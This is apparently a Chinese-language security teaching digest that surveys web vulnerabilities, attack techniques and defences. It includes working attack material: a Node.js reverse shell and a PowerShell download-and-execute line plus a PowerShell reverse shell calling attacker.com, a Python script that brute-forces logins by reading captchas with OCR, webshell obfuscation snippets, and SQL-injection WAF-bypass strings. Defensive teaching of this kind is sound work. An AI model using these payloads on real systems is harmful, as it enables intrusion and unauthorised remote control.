专注Web及移动安全[红日安全92期]
字数 2494 2025-08-18 11:38:48
Web及移动安全综合教学文档
一、漏洞分析与利用
1.1 Discuz ML! V3.X 代码注入漏洞
- 漏洞原理:Discuz ML多语言版本存在前台代码注入漏洞
- 利用条件:未授权访问或低权限用户
- 攻击向量:通过构造特定HTTP请求注入恶意代码
- 影响范围:Discuz ML V3.X全系列版本
- 修复方案:升级至最新安全版本或应用官方补丁
1.2 Fastjson反序列化漏洞
- 漏洞类型:远程代码执行(RCE)
- 触发条件:服务端使用Fastjson处理不可信JSON数据
- 利用方式:
- 构造恶意JSON数据利用JNDI注入
- 利用autoType特性绕过限制
- 防护措施:
- 升级至Fastjson 1.2.58+版本
- 关闭autoType功能
- 使用白名单机制校验反序列化类
1.3 Redis 4.x/5.x RCE漏洞
- 漏洞成因:未授权访问结合主从复制机制
- 利用步骤:
- 确认Redis未授权访问
- 设置恶意模块为master
- 通过module load加载恶意.so文件
- 防御方案:
- 配置Redis密码认证
- 限制绑定IP(127.0.0.1)
- 禁用危险命令(FLUSHALL, CONFIG等)
1.4 Windows DHCP服务器漏洞(CVE-2019-0785)
- 漏洞类型:远程代码执行
- 影响组件:Windows DHCP服务器服务
- 攻击场景:局域网内攻击者发送特制DHCP报文
- 缓解措施:安装微软2019年7月安全更新
二、Web安全攻防技术
2.1 Webshell变形技术
- 常见变形方式:
- 字符串拼接:
$_="as"."sert";$_($_POST[x]); - 编码混淆:base64、hex、rot13等
- 回调函数:
call_user_func_array() - 动态函数:
$f = "create_function";
- 字符串拼接:
- 检测方法:
- 静态特征分析
- 动态行为监控
- 熵值检测异常代码
2.2 Apache解析漏洞
- 利用方式:
- 上传
test.php.xxx文件 - Apache从右向左解析,可能解析为PHP
- 上传
- 防御措施:
- 修改httpd.conf:
RemoveHandler .php .php3 .php4 .php5 .phtml .phps - 严格限制上传文件类型
- 修改httpd.conf:
2.3 验证码爆破技术
- 攻击方法:
- 识别验证码生成规律
- 使用OCR识别简单验证码
- 绕过前端验证机制
- Python实现:
import requests from PIL import Image import pytesseract session = requests.Session() captcha_url = "http://target.com/captcha.php" login_url = "http://target.com/login.php" for i in range(1000): # 获取验证码 resp = session.get(captcha_url) with open('captcha.png', 'wb') as f: f.write(resp.content) # OCR识别 image = Image.open('captcha.png') captcha = pytesseract.image_to_string(image) # 爆破尝试 data = {'username': 'admin', 'password': '123456', 'captcha': captcha} resp = session.post(login_url, data=data) if "Login success" in resp.text: print("Success! Captcha:", captcha) break
2.4 SQL注入高级技巧
- Order-by注入:
- 利用方式:
order=(case when (条件) then 1 else 2 end) - 盲注技巧:通过排序差异判断条件真假
- 利用方式:
- WAF绕过技术:
- 注释分割:
SEL/*xxx*/ECT - 等价函数替换:
mid()→substr() - 编码混淆:十六进制、URL编码
- 空白符变异:
SEL%0bECT
- 注释分割:
三、渗透测试实战
3.1 Node.js反向Shell
- 攻击代码:
const net = require('net'); const client = new net.Socket(); client.connect(4444, 'attacker.com', () => { process.stdin.pipe(client); client.pipe(process.stdout); }); - 防御措施:
- 禁用危险模块(child_process, net等)
- 使用沙箱运行不可信代码
3.2 Powershell攻击
- 常用命令:
# 下载执行 IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1') # 反弹Shell $client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close(); - 防护方案:
- 启用PowerShell日志记录
- 限制脚本执行策略
- 监控可疑PowerShell活动
3.3 内网渗透测试框架
- BeEF-XSS + Ngrok组合:
- 配置BeEF钩子脚本
- 通过XSS注入钩子
- 使用Ngrok穿透内网
- 利用浏览器作为跳板扫描内网
- 检测方法:
- 监控异常出站连接
- 分析浏览器扩展行为
四、代码审计技术
4.1 CMS审计流程
- 信息收集:
- 确定CMS版本和组件
- 分析文件结构和路由机制
- 入口点定位:
- 用户输入点(\(_GET/\)_POST/$_COOKIE)
- 文件上传功能
- 数据库操作接口
- 漏洞挖掘:
- 跟踪数据流分析过滤情况
- 检查危险函数调用
- 验证权限控制机制
4.2 文件操作类漏洞
- 常见漏洞类型:
- 任意文件读取:
file_get_contents($user_input) - 目录穿越:
include('../config.php') - 文件删除:
unlink()未校验权限
- 任意文件读取:
- 审计要点:
- 检查所有文件操作函数
- 验证路径规范化处理
- 确认权限校验完整性
4.3 PHP代码审计技巧
- XSS漏洞挖掘:
- 查找未过滤的echo/print输出
- 检查Content-Type是否设置为text/html
- 验证输出编码处理
- CSRF防护检查:
- 确认关键操作使用token验证
- 检查Referer验证实现
- 验证SameSite Cookie设置
五、防御体系建设
5.1 WAF绕过防护
- 多层防御策略:
- 网络层:流量清洗,异常检测
- 应用层:输入验证,输出编码
- 数据层:参数化查询,ORM使用
- 规则配置建议:
- 启用语义分析而不仅是模式匹配
- 设置学习模式建立正常行为基线
- 实施速率限制防爆破
5.2 日志分析技术
- 关键日志源:
- Web访问日志
- 系统安全日志
- 数据库审计日志
- 应用操作日志
- 分析方法:
- 关联分析多源日志
- 建立异常行为模型
- 使用SIEM集中管理
5.3 安全开发实践
- SDL关键点:
- 威胁建模
- 安全编码规范
- 自动化安全测试
- 第三方组件管理
- 工具链整合:
- SAST工具:SonarQube, Checkmarx
- DAST工具:OWASP ZAP, Burp Suite
- SCA工具:Dependency-Check, Snyk
六、新兴安全领域
6.1 智慧城市安全
- 风险点:
- IoT设备弱口令
- 传感器数据篡改
- 集中控制系统单点故障
- 防护框架:
- 分层防御架构
- 轻量级加密协议
- 异常行为检测
6.2 大数据安全
- 关键技术:
- 数据脱敏
- 细粒度访问控制
- 分布式日志审计
- 加密搜索
- 隐私保护:
- 差分隐私
- K-匿名
- 同态加密
本教学文档涵盖了Web及移动安全的核心知识点,从漏洞原理到实战技术,从攻击方法到防御体系,构建了完整的安全知识框架。建议学习者结合实际环境进行实验验证,并持续关注安全社区的最新动态以获取更新。